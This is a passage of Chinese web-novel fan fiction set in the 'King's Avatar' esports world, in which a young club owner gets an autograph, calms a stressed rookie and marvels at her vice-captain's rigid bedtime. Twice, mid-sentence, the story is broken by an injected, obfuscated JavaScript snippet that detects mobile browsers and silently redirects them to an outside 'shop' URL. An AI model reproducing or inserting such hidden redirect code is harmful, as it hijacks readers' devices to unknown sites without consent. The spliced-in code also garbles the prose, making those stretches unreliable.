“不知道。”张新杰很诚实,“可能很快,也可能很慢。要看他们的适应能力和团队默契。” 秦昭昭若有所思地点点头。 那天晚上,她没回家,留在俱乐部办公室里,打开了荣耀。 她登录了自己的拳法家小号,进了竞技场。 打了几局后,她忽然想起张新杰白天说的话——每个人都有自己的节奏。 她盯着屏幕上的拳法家,忽然明白了。 韩文清的节奏是冲锋,张佳乐的节奏是爆发,林敬言的节奏是隐忍,张新杰的节奏是稳定…… 秦昭昭关掉游戏,打开文档,开始写一份计划。 她要给队员们安排一些团队建设活动。不是那种枯燥的会议,而是真正能增进感情、培养默契的活动。 比如一起去爬山,一起去海边烧烤…… 她要让他们不只是队友,更是朋友,是兄弟,是能互相托付后背的伙伴。 只有这样,他们才能在赛场上,真正融为一体。 写完后,秦昭昭伸了个懒腰,看向窗外。 夜已经很深了,训练室的灯还亮着。 她走过去,推开门,发现韩文清还在里面。 屏幕上是今天团队训练的回放,韩文清正一帧一帧地看,时不时暂停,做笔记。 “韩队,这么晚了还不休息?”秦昭昭问。 韩文清头也不回:“复盘。” “我陪你吧。”秦昭昭拉了把椅子坐下,“虽然我看不太懂,但可以给你倒杯水。” 韩文清顿了顿,说了句:“谢谢。” 秦昭昭去倒了杯温水,放在他手边,然后安静地坐在旁边,看着他专注的侧脸。 这个男人,为霸图付出了太多。 从S1赛季到现在,七年了。他最好的青春,都献给了这支队伍。 他比任何人都想赢,比任何人都想拿冠军。 因为那不只是荣誉,更是责任,是承诺,是对所有支持霸图的人的交代。 “韩队。”秦昭昭忽然开口,“你会拿到冠军的。一定会的。” 韩文清转过头,看着她。 灯光下,这个年轻老板的眼睛里面充满了毫无保留的信任和期待。 就像她刚来俱乐部时那样,就像她签下秦牧云时那样,就像她挖来林敬言和张佳乐时那样。 永远充满热情,永远充满希望。 “嗯。”韩文清点头,然后转回头,继续看回放。 10. 买下霸图的第十天 晚上十点,秦昭昭抱着熊猫抱枕盘腿坐在电脑桌前,屏幕上正在播放最近热播的某部韩剧。闺蜜林小雨的声音从扬声器里传出来,激动得像是要跳出来。 “啊啊啊!男主好帅!他刚才那个眼神你看到了吗?简直绝了!” 秦昭昭往嘴里塞了片薯片,含糊不清地说:“看到了看到了,不就是个眼神吗?哪有我家韩队的伏虎腾翔帅?” “秦昭昭!你能不能别什么都扯到荣耀上去!”林小雨在电话那头尖叫,“我在跟你讨论帅哥!帅哥!不是拳法家!” “韩队也很帅啊。”秦昭昭理直气壮,“那种硬汉气质,多man。” “我不管!我现在眼里只有我家张佳乐!”林小雨的声音突然变得甜腻起来,“昭昭啊,我的好昭昭,你不是说张佳乐已经到霸图了吗?那你是不是能搞到他的签名啊?” 秦昭昭手里的薯片差点掉地上。 完了,这事她给忘了。 三天前林小雨就缠着她要张佳乐的签名,她当时满口答应,转头就被俱乐部装修的事折腾得昏天暗地,彻底把这事抛到了脑后。 “昭昭?”林小雨的声音带着试探,“你不会……忘了吧?” “怎么会!”秦昭昭赶紧坐直身体,声音拔高八度,“我这不是……这不是想给你个惊喜嘛!明天!明天就给你搞来!” “真的?” “真的真的!我秦昭昭什么时候骗过你?” “那你拍个照给我看看,现在就去。” 秦昭昭:“……” “秦昭昭!你果然忘了!” “哎呀我错了嘛!”秦昭昭赶紧撒娇,“这几天太忙了,俱乐部装修,训练室换设备,还要盯着战术训练……我脑子都成浆糊了。你放心,我这就去要,现在就要!” “现在都几点了,人家肯定睡了。”林小雨看了眼时间,突然压低声音,神秘兮兮地说,“不过昭昭,你说张佳乐真人是不是比视频里还帅?我看了他那么多比赛录像,那个百花式打法,那个侧脸,那个小辫子——” “打住。”秦昭昭做了个暂停的手势,“林小雨同学,请注意你的花痴形象。再说了,人家现在是我队员,你别想些有的没的。” “知道知道,我就是纯欣赏,纯欣赏!”林小雨嘿嘿笑,“那你一定要记得啊!我要他签在官方照片上,最好再写句祝福语,比如‘To小雨’什么的——” “要求还挺多。”秦昭昭吐掉棒棒糖棍,“行了,我记住了。这集看完了,我要睡觉了,明天还得早起去训练室呢。” “老板还早起?” “那必须的,我可是要监督训练的人。”秦昭昭说得一本正经,完全忘了自己通常都是九点才磨蹭到训练室的现实。 挂掉视频,秦昭昭伸了个大大的懒腰,骨头都发出咔哒咔哒的响声。她看了眼时间,十一点了。房间里空调开得有点低,她搓了搓胳膊,决定去倒杯热水喝。 打开房门,走廊里静悄悄的,只有墙角的夜灯发出柔和的光。霸图俱乐部这栋楼装修完后,隔音效果特别好,白天训练室里键盘声噼里啪啦,晚上却安静得像图书馆。 秦昭昭趿拉着拖鞋往厨房走,脑子里还在回放刚才韩剧里那个离谱的剧情。女主失忆了五次,男主换了三个身份,最后发现两人居然是失散多年的兄妹。什么狗血编剧能编出这种剧情?她一边走一边摇头,心里盘算着明天一定要跟林小雨好好吐槽一番。 就在这时,对面房间的门也开了。 张佳乐穿着件宽松的灰色睡衣和睡裤,头发散着,没扎小辫子,看起来比平时随意很多。他大概是渴了,也准备去厨房倒水,一抬头,正好和秦昭昭撞了个正着。 两人都愣了一下。 然后张佳乐的目光落在了秦昭昭脸上。准确地说,是落在了她眼角。 秦昭昭刚才打哈欠打得太过投入,眼角挂了两滴生理性泪水,在走廊夜灯的照射下,亮晶晶的,特别显眼。她自己完全没意识到,还沉浸在韩剧的狗血剧情里,表情有点恍惚。 但张佳乐不知道啊。 他看见自家老板大半夜穿着睡衣在走廊里晃荡,眼角还挂着泪,脑子里瞬间闪过一万个念头。 怎么了?出什么事了?俱乐部运营出问题了?资金链断了?还是网上那些骂她的话让她难过了?不对啊,下午看她发微博还挺乐呵的。那是家里有事?生病了?被人欺负了? 张佳乐这人吧,外表看起来挺洒脱,打法华丽得像放烟花,但其实心思挺细的,尤其在对待自己人这方面。他在百花待了那么多年,照顾队友都成习惯了,现在来了霸图,虽然才几天,但已经把这里当新家了。而秦昭昭这个老板,虽然有时候脱线得让人哭笑不得,但对他们是真的好,好得让人有点不知所措。 所以现在看到秦昭昭这副“疑似哭过”的样子,张佳乐心里咯噔一下,表情都严肃了起来。 “秦总?”他试探性地叫了一声,声音比平时轻。 秦昭昭这才回过神,眨眨眼,看清是张佳乐,眼睛瞬间亮了。 哎呀!这不巧了吗!刚答应林小雨要签名,正主就送上门了! “张佳乐!你来得正好!”秦昭昭完全没注意到对方脸上的担忧,兴冲冲地说,“快,帮我签个名!” 张佳乐:“……啊?” 他脑子一时没转过来。这什么展开?老板大半夜泪眼朦胧地堵在走廊里,就为了要个签名? 秦昭昭已经转身风风火火地跑回自己房间,没几秒钟又风风火火地冲出来,手里拿着个印着霸图队徽的签名板和一杆马克笔。那是俱乐部周边商店的新品,她前两天顺手拿了几块,准备用来应付各种突发签名需求,比如现在。 “给!”她把签名板和笔塞到张佳乐手里,“我那闺蜜是你的头号粉丝,看你的比赛录像学的弹药专家,天天缠着我要你的签名,我都差点忘了。正好碰见你,快签快签!” 张佳乐低头看看手里的签名板,又抬头看看秦昭昭。这时候他才注意到,秦昭昭眼角那两滴泪已经不见了,大概是刚才眨眼睛的时候蹭掉了。她脸上完全没有哭过的痕迹,反而因为兴奋而微微发红,像发现了什么宝藏。 所以……刚才那是打哈欠打的? 张佳乐突然觉得自己刚才那一脑子的担忧和严肃特别好笑。他扯了扯嘴角,接过笔,很熟练地在签名板上签下自己的名字。他的字迹有点飘逸,但很好看,最后一笔还带了个小尾巴,像他游戏里扔出的手雷轨迹。 “要写To签吗?”他问。 “要要要!”秦昭昭点头如捣蒜,“写‘To小雨’,然后写句祝福语,比如‘祝你打游戏把把赢’之类的。” 张佳乐笑了,按照她说的,在签名旁边加了一行小字:“To小雨:愿你手中的弹药永远绚烂,游戏快乐。” 秦昭昭凑过去看,满意地点头:“不错不错,我闺蜜肯定高兴坏了。谢啦!” 她接过签名板,宝贝似的抱在怀里,这才想起问:“对了,你这么晚出来干嘛?也渴了?” “嗯,倒杯水。”张佳乐说,眼神还在她脸上扫了一下。确实,眼泪完全没了,眼睛干干净净的,一点红都没有。 秦昭昭完全没get到他眼神里的含义,自顾自地说:“那一起啊,我也要喝水。厨房有柠檬,要不要泡点柠檬水?我昨天买的,可新鲜了。” 两人并肩往厨房走。张佳乐沉默了几秒,还是没忍住,装作很随意地问:“秦总,你刚才……没事吧?” “没事啊?”秦昭昭莫名其妙,“我能有什么事?” “就是……”张佳乐斟酌着用词,“看你眼角有点……嗯,以为你不舒服。” 秦昭昭愣了两秒,然后恍然大悟:“哦!你说那个啊!那是打哈欠打的!我刚跟我闺蜜煲电话粥看韩剧呢,那剧情太狗血了,给我看得哈欠连天。” 她说着,又很应景地打了个哈欠,这次眼角果然又冒出了两滴泪花。 张佳乐看着那两滴泪花在灯光下闪烁,然后随着她揉眼睛的动作消失不见,终于确定自己刚才真是想多了。他忍不住笑出声,摇了摇头。 “你笑什么?”秦昭昭一边从冰箱里拿柠檬一边问。 “没什么。”张佳乐靠在厨房台子边,看着她笨手笨脚地切柠檬片,刀工实在不敢恭维,一片厚一片薄的,“就是觉得……秦总你挺有意思的。” “那是。”秦昭昭一点也不谦虚,“我爹说了,我这人最大的优点就是有意思。” 她把切好的柠檬片扔进两个玻璃杯里,又加了点蜂蜜,倒上温水。动作虽然不熟练,但做得很认真。 张佳乐接过她递过来的柠檬水,喝了一口,酸甜适中,温度刚好。他忽然想起在百花的时候,训练到深夜也会自己泡杯茶或者冲杯咖啡,但从来没有队友会给他准备这些。不是关系不好,而是大家都默认各自照顾好自己。 但在这里,在这个被装修得像五星级酒店的俱乐部里,在这个有点脱线但特别真诚的老板面前,很多事情好像都不一样了。 “秦总。”张佳乐突然开口,语气比平时正经很多。 “嗯?”秦昭昭正捧着杯子小口喝水,闻言抬起头。 “虽然可能是我多想了,”张佳乐看着她,很认真地说,“但如果以后真有什么事,不开心的、难处理的,你可以跟我说。虽然我是你队员,但……年纪应该比你大几岁,经验也多一点。别自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908396|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憋着。” 秦昭昭眨巴眨巴眼睛,消化了几秒钟这段话,然后噗嗤一声笑了。 “张佳乐,你想什么呢!”她笑得杯子里的水都晃出来了,“我真没事!就是看韩剧看困了!再说了,我有事肯定找你们啊,你们可是我花大价钱买来的,不用白不用。” 她说得理直气壮,把“你们是我买来的”这种话说得像“我今天买了颗大白菜”一样自然。 张佳乐又被她逗笑了。他发现自己来霸图这几天,笑的次数比在百花一个月都多。 “行,随叫随到。”他说。 两人又聊了几句,主要是秦昭昭在吐槽刚才那部韩剧的离谱剧情,张佳乐偶尔插两句,大部分时间在笑。最后水喝完了,柠檬片也泡得没味了,秦昭昭又打了个大大的哈欠。 “不行了,我得睡了。”她揉着眼睛说,“明天还要早起呢。” 张佳乐看了眼时间,十一点半了。“那秦总早点休息。” “你也是,别训练太晚。”秦昭昭挥挥手,抱着签名板往自己房间走,走了两步又回头,“对了,明天训练前记得把签名板给我啊,我闺蜜催得紧。” “已经在你手里了。”张佳乐提醒。 秦昭昭低头一看,签名板果然被自己抱在怀里。她拍了一下脑袋嘿嘿一笑:“瞧我这记性。晚安!” “晚安。” 看着秦昭昭房间的门关上,张佳乐又在厨房站了一会儿,才慢慢走回自己房间。 关上门,他靠在门板上,忍不住又笑了。 这个老板,真是…… 他摇摇头,走到窗边。窗外是Q市的夜景,远处海面上有船灯闪烁,像落进海里的星星。 张佳乐想起刚才秦昭昭眼角挂着泪却兴冲冲要签名的样子,想起她切柠檬时笨拙但认真的动作,想起她说“你们可是我花大价钱买来的”时那种理所当然的语气。 忽然觉得,转会来霸图,可能真是他职业生涯里最有趣的一个决定。 至少,不会无聊。 而另一边,秦昭昭回到房间,把签名板小心翼翼地放在书桌上,还给林小雨拍了张照片发过去。 几秒后,林小雨回复了一连串的感叹号和爱心表情。 “昭昭我爱你!!!你居然真的帮我要到了!!!还有To签!!!还有祝福语!!!张佳乐人也太好了吧!!!” 秦昭昭得意地回复:“那是,你闺蜜我出马,一个顶俩。” 发完消息,她扑到床上,抱着枕头打了个滚。 今天真是完美的一天。林敬言答应了,张佳乐签了名,俱乐部装修好了,银河战舰即将起航…… 她闭上眼睛,脑子里开始幻想下赛季的比赛画面。韩文清的拳法家在前面横冲直撞,张佳乐的弹药专家在后面放烟花,林敬言的流氓在角落里阴人,张新杰的牧师稳坐钓鱼台…… 想着想着,她就睡着了。 嘴角还带着笑。 梦里,她站在领奖台上,手里捧着冠军奖杯。韩文清站在她左边,张佳乐站在她右边,林敬言和张新杰在后面,所有人都笑得很开心。 奖杯很重,但她的心里很轻。 像要飞起来一样。 而在隔壁房间,张佳乐也正准备睡觉。他打开手机,看到百花老板给他发来了几条消息。 王总:张佳乐啊,Q市怎么样?住的还习惯吗?百花这边不用担心,训练营发现了一个好苗子正准备提拔上来,秦总对你怎么样? 百花缭乱:谢谢王总关心,住的还算可以,秦总对我们都挺好的。 他躺在床上,看着天花板,脑子里又闪过秦昭昭那张挂着泪却笑得没心没肺的脸。 忽然觉得,有些事,有些感受,没必要跟别人说。 自己知道就好。 知道这个新老板虽然脱线,但真诚。 知道这个新队伍虽然风格各异,但有希望。 知道自己这次的选择,也许真的能触碰那个梦寐以求的奖杯。 这就够了。 张佳乐闭上眼睛,也睡着了。 嘴角同样带着笑。 而在走廊另一头的某个房间里,韩文清刚做完今天的复盘,关掉电脑。他走到窗边,看着外面安静的夜晚,想起今天训练时张佳乐和林敬言逐渐融入的样子,想起秦昭昭下午在训练室门口探头探脑的样子。 那张总是严肃的脸上,露出一个很浅很浅的笑容。 虽然很淡,但真实存在。 霸图的夜晚,很安静。 但每个人的梦里,都很热闹。 有烟花,有拳头,有战术,有胜利。 还有那个闪闪发光的,名为冠军的未来。 11. 买下霸图的第十一天 第七赛季的脚步声越来越近了。 转会期的大门在几天前“哐当”一声关上,整个荣耀联盟像是经历了一场大洗牌,各家战队都在官方账号上公布了最终阵容。粉丝们有的欢呼,有的叹息,有的摩拳擦掌准备新赛季的战斗,论坛和微博上热闹得像过年。 而霸图这边,秦昭昭在最后一刻按住了李经理想要再签个替补选手的手。 “够了够了。”她盯着电脑屏幕上已经确定的一线队名单,满意地点点头,“这些人就够了。” 名单上清晰地列着: 韩文清,拳法家,大漠孤烟 张新杰,牧师,石不转 张佳乐,弹药专家,百花缭乱 林敬言,流氓,唐三打 白言飞,元素法师,罗塔 秦牧云,神枪手,零下九度 郑乘风,守护使者,山逢地裂 张奇,剑客,纵酒狂歌 七名正式队员,一名替补,阵容算不上臃肿,但每个位置都扎实得让人心惊。韩文清的刚猛,张新杰的严谨,张佳乐的华丽,林敬言的狡猾,白言飞的灵动,秦牧云的沉稳,再加上郑乘风的守护和张奇的策应。这阵容摆在纸面上,就已经让不少战队头皮发麻了。 银河战舰的外号在荣耀圈里越传越响,有人期待,有人质疑,但更多的人是在观望,想看看这支用钱堆起来的豪华战队,到底能在新赛季掀起多大的风浪。 秦昭昭才不管别人怎么想。她对自己的选择信心十足,尤其是在亲眼看到队员们一天比一天默契的训练之后。 但问题总是有的。 比如秦牧云。 这孩子自从被秦昭昭从训练营“捡”上来,就一直表现得特别努力,努力得让人有点心疼。他话不多,训练时永远是最专注的那个,韩文清布置的加练任务,他从来都是超额完成。张新杰给的战术笔记,他能翻来覆去背好几遍。 可有时候,太努力也不是好事。 秦昭昭发现,最近秦牧云的状态有点不对劲。训练时的操作依然精准,但少了点之前的灵性,打法越来越保守,有时候明明有机会进攻,他却选择了稳妥的防守。在团队配合练习里,他也总显得有些迟疑,不敢放开手脚打。 最关键的是,他加练的时间越来越晚。 俱乐部装修后,训练室是二十四小时开放的,但韩文清立了规矩,最晚不能超过十一点。可秦牧云好几次都是踩着十一点的线才离开,有时候甚至要韩文清亲自去催。 这天晚上十点半,秦昭昭处理完一些俱乐部杂事,准备回家前想去训练室看看。推开训练室的门,里面果然还亮着一盏灯。 秦牧云坐在自己的位置上,屏幕上是荣耀竞技场的界面。他的神枪手零下九度正和一个战斗法师缠斗,操作依旧精准,走位依旧稳健,但秦昭昭能看出来,他的手速在下降,反应也慢了半拍。 屏幕上,零下九度一个滑铲躲开战斗法师的龙牙,起身时却没来得及拉开距离,被对方一个连突刺挑飞,紧接着一套连招,血线哗啦啦往下掉。 最后,屏幕上弹出“失败”两个大字。 秦牧云盯着屏幕看了几秒钟,然后摘下耳机,揉了揉太阳穴。他没注意到秦昭昭进来了。 “牧云。”秦昭昭叫了一声。 秦牧云吓了一跳,猛地转过身,看见是秦昭昭,赶紧站起来:“秦总。” 秦昭昭摆摆手,拉过旁边一把椅子坐下:“这么晚了,还不休息?” “我……再练一会儿。”秦牧云小声说,“今天的团队配合练习,我失误了两次,张副队指出来了,我想多练练。” 秦昭昭看了眼屏幕上的战绩记录——十局竞技场,赢了四局,输了六局。对秦牧云这个水平的选手来说,这个胜率有点低了。 “你最近压力很大吧?”秦昭昭问得很直接。 秦牧云沉默了几秒,然后点点头。 “说说,怎么想的?”秦昭昭换了个舒服的坐姿,摆出一副“咱们好好聊聊”的架势。 秦牧云咬了咬嘴唇,声音很低:“我就是……怕拖大家后腿。” 他抬起头,看向秦昭昭,那双平时总是很平静的眼睛里,此刻满是担忧和不安。 “秦总,我是训练营出来的,才十六岁,没打过正式比赛。咱们队里,韩队是拳皇,张副队是战术大师,张佳乐前辈和林敬言前辈都是全明星也都是核心,白言飞前辈也打了好几个赛季了。我……我算什么?” 他越说声音越小:“有时候训练,我看着他们的操作,觉得自己差得太远了。张副队的战术那么复杂,我理解起来都费劲,更别说执行了。韩队的要求那么高,我拼命练也达不到。还有张佳乐前辈的百花式打法,白言飞前辈的元素法师……” 秦牧云深吸一口气:“我怕。怕自己不够好,怕正式比赛的时候紧张失误,怕因为我,战队输了比赛。网上那些人说,咱们是银河战舰,是最有希望拿冠军的队伍。要是我成了那个短板,我……” 他说不下去了。 训练室里很安静,只有电脑主机运转时发出的轻微嗡嗡声。 秦昭昭没立刻说话。她看着眼前这个才十六岁的少年,看着他紧抿的嘴唇和微微发抖的手指,忽然想起三个月前的自己。 那时候她刚接触荣耀,创建了第一个角色昭昭日月,兴冲冲地冲进竞技场,然后被人打得满地找牙。她也怀疑过自己,也觉得自己太菜了,也想过要不别玩了。 但她没放弃。 因为她发现,哪怕输了,哪怕操作烂得像一坨屎,但只要拳法家的拳头砸在对手脸上时发出“砰”的那一声,她就特别开心。 那种纯粹的、毫不讲理的快乐,让她坚持了下来。 “牧云。”秦昭昭开口,声音比平时温和很多,“你知道我玩荣耀多久了吗?” 秦牧云愣了一下:“三……三个月?” “对,三个月,不过现在快四个月了。”秦昭昭点点头,“三个月前,我连二十四个职业都分不清。第一次打竞技场,被人用魔道学者骑着扫把溜了整整三分钟,连人家衣角都没摸到。第二次打剑客,被一套连招直接带走,我连技能都没放出来。” 她说着,自己都笑了:“那时候我也觉得自己特菜,特丢人。我闺蜜林小雨,就是玩弹药专家的那个,她劝我换个职业,说女孩子玩元素法师或者枪炮师多好看,干嘛非要玩拳法家这种糙汉职业。” 秦牧云听着,眼睛微微睁大。 “但我不换。”秦昭昭说,“因为我喜欢啊。我喜欢拳法家那种拳拳到肉的感觉,喜欢那种不用太多花哨技巧、直接硬碰硬的风格。哪怕我打得很烂,哪怕我胜率只有百分之四十二,但我就是开心。每次用伏虎腾翔砸中对手的时候,我都觉得特别爽,爽得能多吃一碗饭。” 她看着秦牧云,很认真地说:“所以我觉得,玩游戏也好,打职业也好,最重要的不是什么技术,不是什么战术,甚至不是输赢。” “那是什么?”秦牧云忍不住问。 “是开心啊。”秦昭昭说得理所当然,“你要是打得不开心,那还打什么?每天愁眉苦脸地训练,担心这担心那,就算最后拿了冠军,又有什么意思?” 她顿了顿,继续说:“我知道你压力大,知道自己是从训练营上来的,知道队里都是大神。但你想过没有,韩队和张副队为什么把你留下来?张佳乐和林敬言为什么从来没说过你不行?因为他们看得出来,你有潜力,你有天赋,你只是需要时间。” “可我怕时间不够……”秦牧云小声说。 “时间不够就慢慢来。”秦昭昭拍了拍他的肩膀,“新赛季还有一周才开打呢,急什么?再说了,你是神枪手,不是拳法家,不需要像韩队那样正面硬刚。你的优势是稳,是准,是能在关键时刻给出致命一击。把你自己最擅长的东西发挥出来就行了,别老想着要变成谁谁谁。你知道他们成为那样的选手用了几年吗?谁都是从新手出来的。” 她站起来,走到窗边,看着外面Q市的夜景:“牧云,你知道我最佩服你们职业选手什么吗?” 秦牧云摇摇头。 “不是技术,不是操作,是你们敢做梦。”秦昭昭转过头,微笑着着他,“敢做拿冠军的梦,敢为了这个梦拼尽全力,敢在所有人都不看好的时候依然相信自己。这种勇气,比任何技术都珍贵。” 她走回来,双手撑在秦牧云的电脑桌上,俯身看着他:“所以,别怕。放开手打,打错了有我兜着,输赢有整个战队一起扛。你就记住一件事——打得开心点。要是连你自己都不开心了,那这游戏,这比赛,还有什么意思?况且,你是我看中的人,我说没问题就一定没问题,不用给自己太大压力。” 秦牧云看着她,看着她眼睛里那种毫不掩饰的信任和期待,忽然觉得心里那块沉甸甸的石头,松动了。 是啊,他喜欢荣耀吗? 喜欢。从三年前第一次接触这个游戏,他就喜欢上了神枪手这个职业,喜欢那种在远处精准狙击的感觉,喜欢那种掌控节奏的快感。 可自从进了霸图一线队,他好像把这种喜欢忘记了。满脑子都是“我不能拖后腿”“我要变强”“我要达到韩队的要求”,却忘了最初拿起枪时那种单纯的快乐。 “秦总……”秦牧云张了张嘴,想说什么,但最后只化作一句,“谢谢。” “谢什么谢。”秦昭昭直起身,打了个哈欠,“行了,今天就练到这儿,赶紧回去睡觉。明天早上要是让我看到你顶着黑眼圈来训练,我就扣你工资……不对,我就让食堂阿姨不给你加鸡腿。” 秦牧云忍不住笑了,乖巧地点了点头:“好。” 他保存了训练数据,关了电脑,站起身。走出训练室的时候,他的脚步比进来时轻快了很多。 秦昭昭看着他的背影,满意地点点头。搞定一个。 但还有一个问题需要解决。 她看了眼时间,十点四十五。嗯,还来得及。 她转身走出训练室,上了三楼,来到张新杰的房间门口。张新杰的房间在走廊最里面,特别安静,门牌上干干净净,连个装饰都没有,非常符合他的风格。 秦昭昭敲了敲门。 几秒后,门开了。张新杰穿着一身整齐的睡衣,是的,连睡衣都穿得像要去开会一样平整。他鼻梁上架着副眼镜,手里拿着本书,看起来正准备睡觉。 “秦总?”张新杰有些意外,“有事吗?” “有点事想跟你聊聊。”秦昭昭说,“关于秦牧云的。方便吗?” 张新杰点点头,侧身让她进来。 张新杰的房间是秦昭昭见过最整齐的房间,没有之一。床铺平整得像用熨斗熨过,被子叠成标准的豆腐块。书架上书籍按高度排列,从高到矮,一丝不苟。书桌上除了电脑和几本战术笔记,什么都没有,连支笔都放在固定的位置。 秦昭昭在书桌前的椅子上坐下,张新杰则坐在床边,姿势端正得像是要拍证件照。 “秦牧云最近的状态,你注意到了吧?”秦昭昭开门见山。 “注意到了。”张新杰推了推眼镜,“训练时操作精度下降百分之三,团队配合响应时间延长零点二秒,进攻主动性降低明显。心理压力过大导致的。” 他说话永远这么精准,像在念数据报告。 “我刚才跟他聊了聊,感觉好点了。”秦昭昭说,“但他毕竟才十六岁,又是从训练营直接上来的,压力肯定大。你看接下来怎么调整比较好?” 张新杰思考了几秒,然后从书桌上拿起一本厚厚的笔记本,翻开到某一页:“我已经做了调整计划。接下来三天,减少他的团队配合训练量,增加个人针对性练习。同时安排他和白言飞组队打竞技场,白言飞的性格比较活泼,能带动气氛。另外,我会在战术布置上给他更明确、更简单的指令,减少他的决策负担。” 他说着,又把笔记本翻到另一页:“这是心理调节方案。建议他每天训练后做十五分钟放松练习,周末安排一次团队活动,转移注意力。另外,饮食和睡眠也需要调整,我已经跟食堂和后勤说了,给他准备一些有助于缓解压力的食物。” 秦昭昭听得一愣一愣的。 好家伙,这计划详细得跟作战方案似的,连吃什么睡多久都安排好了。 “张副队,你这……”她张了张嘴,“也太周全了吧?” “应该的。”张新杰平静地说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908397|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “选手的状态管理是战术的一部分。秦牧云有潜力,但需要正确的引导。如果因为心理问题影响发挥,对战队是损失,对他自己也是伤害。” 他说这话时语气很平淡,但秦昭昭能听出里面的认真。 这就是张新杰。永远用最严谨的态度,做最周全的准备,关心队员的方式都像在执行战术任务,但那份关心是真的。 “有你在他肯定没问题。”秦昭昭松了口气,“那我就放心了。” 她看了眼时间,十点五十五。 正准备再说点什么,却注意到张新杰也瞥了一眼墙上的挂钟,然后很轻微地调整了一下坐姿。 “张副队,你……”秦昭昭试探性地问,“是不是有什么事?” 张新杰推了推眼镜:“秦总,还有五分钟到十一点。” “啊?所以呢?” “我十一点要准时睡觉。”张新杰说得很自然,仿佛在陈述“天是蓝的”一样的基本事实,“而且要睡着。” 秦昭昭:“……?” 她眨了眨眼,以为自己听错了:“你说什么?十一点准时睡觉?还要睡着?” “是的。”张新杰点头,“良好的作息是保持思维清晰的基础。我习惯十一点入睡,六点起床,七小时睡眠,中午午休一个半小时。这个作息我已经坚持了七年。” 秦昭昭张着嘴,半天没合上。 她知道张新杰严谨,知道他自律,知道他连吃饭都要按固定顺序。但她没想到,这人连睡觉都要像机器一样精准到分钟。 “不是,张副队……”秦昭昭试图理解,“你是怎么做到‘准时睡着’的?睡觉这种事,不是想睡就能睡着的吧?” “可以训练。”张新杰很认真地说,“通过固定睡前流程,让身体形成条件反射。我睡前会看十五分钟书,内容以理论性较强的战术分析或数据报告为主,有助于大脑从活跃状态过渡到休息状态。九点五十五分合上书,做三分钟深呼吸和肌肉放松练习,十一点整关灯躺下。通常在三到五分钟内就能入睡。” 秦昭肃:“……” 她脑子里只有一句话:你是机器吗?! 活生生的人怎么可能像闹钟一样,到点就睡,还能控制自己在几分钟内睡着?这已经不是自律了,这是超能力吧?! 张新杰看了眼时间,十点五十七分。 “秦总,如果没有其他事的话……”他委婉地提示。 “哦哦哦,没事了没事了!”秦昭昭赶紧站起来,“你睡你睡,我不打扰了。” 她几乎是逃出张新杰房间的。 关上门,站在走廊里,秦昭昭还觉得脑子有点转不过来。她活了二十多年,见过各种怪人,但像张新杰这种能把生活过成精密仪器的,还真是头一回见。 她想起张佳乐曾经吐槽说“张新杰严谨得像机器人”,现在她觉得,张佳乐还是太客气了。这哪是像机器人,这就是机器人本机啊! 不过转念一想,有这样的副队长在,好像也挺好的。至少战队的管理和战术永远不用她操心。 秦昭昭摇摇头,一边往自己房间走,一边忍不住笑出声。 她的战队里,有韩文清那种硬汉,有张佳乐那种华丽派,有林敬言那种斯文败类——不对,是斯文选手,有白言飞那种活宝,有秦牧云那种闷葫芦,现在还有个张新杰这种人体闹钟。 这阵容,不光游戏里风格各异,现实里也是个顶个的有个性。 新赛季,肯定会特别有意思。 回到自己房间,秦昭昭洗了个澡,躺在床上。她看了眼手机,林小雨又发来消息,问她张佳乐的签名照什么时候能寄过去。 秦昭昭回复:“明天就寄,急什么。” 发完消息,她放下手机,闭上眼睛。 脑子里却不由自主地开始循环张新杰那句话——“我十一点要准时睡觉,而且要睡着”。 她试着想象那个画面:张新杰穿着整齐的睡衣,靠在床上看战术报告,九点五十五分合上书,做三分钟放松练习,十点整关灯,躺平,三分钟后呼吸均匀,进入梦乡。 整个流程像程序一样精准。 秦昭昭憋不住了,把脸埋进枕头里,笑得肩膀直抖。 太好笑了,真的太好笑了。 笑着笑着,她也困了。看了眼时间,十一点。对她这个夜猫子来说,已经算早睡了。 关灯前,她最后看了眼窗外。 Q市的夜晚很安静,远处的海面上有船灯闪烁。 霸图俱乐部的灯大部分都熄灭了,只有走廊的夜灯还亮着,柔和的黄光透过门缝漏进来一点。 秦昭昭忽然觉得,这个被她爹买来当“玩具”的俱乐部,这个她一开始只想玩玩的地方,不知什么时候,已经成了她生活中很重要的一部分。 这里有她要守护的人,有她要实现的梦想,有她要一起并肩作战的伙伴。 虽然她还是不太懂职业圈的那些弯弯绕绕,虽然她玩荣耀才三个月,虽然她有时候做事挺胡闹的。 但没关系。 她有最好的队长,最严谨的副队长,最华丽的弹药专家,最狡猾的流氓,最活泼的元素法师,最沉稳的神枪手,还有一整个支持她的团队。 而在此时,张新杰已经入睡二十三分钟,呼吸均匀,睡姿标准。 走廊另一头,韩文清刚刚结束今天的加练,关掉电脑,起身时看了眼时间——十一点十分,比平时晚了十分钟。 他皱了皱眉,决定明天把训练效率再提高一点。 张佳乐正戴着耳机听音乐,手里拿着平板看比赛录像,看到精彩处,忍不住小声嘀咕:“这走位……漂亮!” 林敬言在跟方锐发微信,两人约好周末线上打几局。 白言飞已经睡得四仰八叉,梦里还在喊:“看我的元素法师!轰轰轰!” 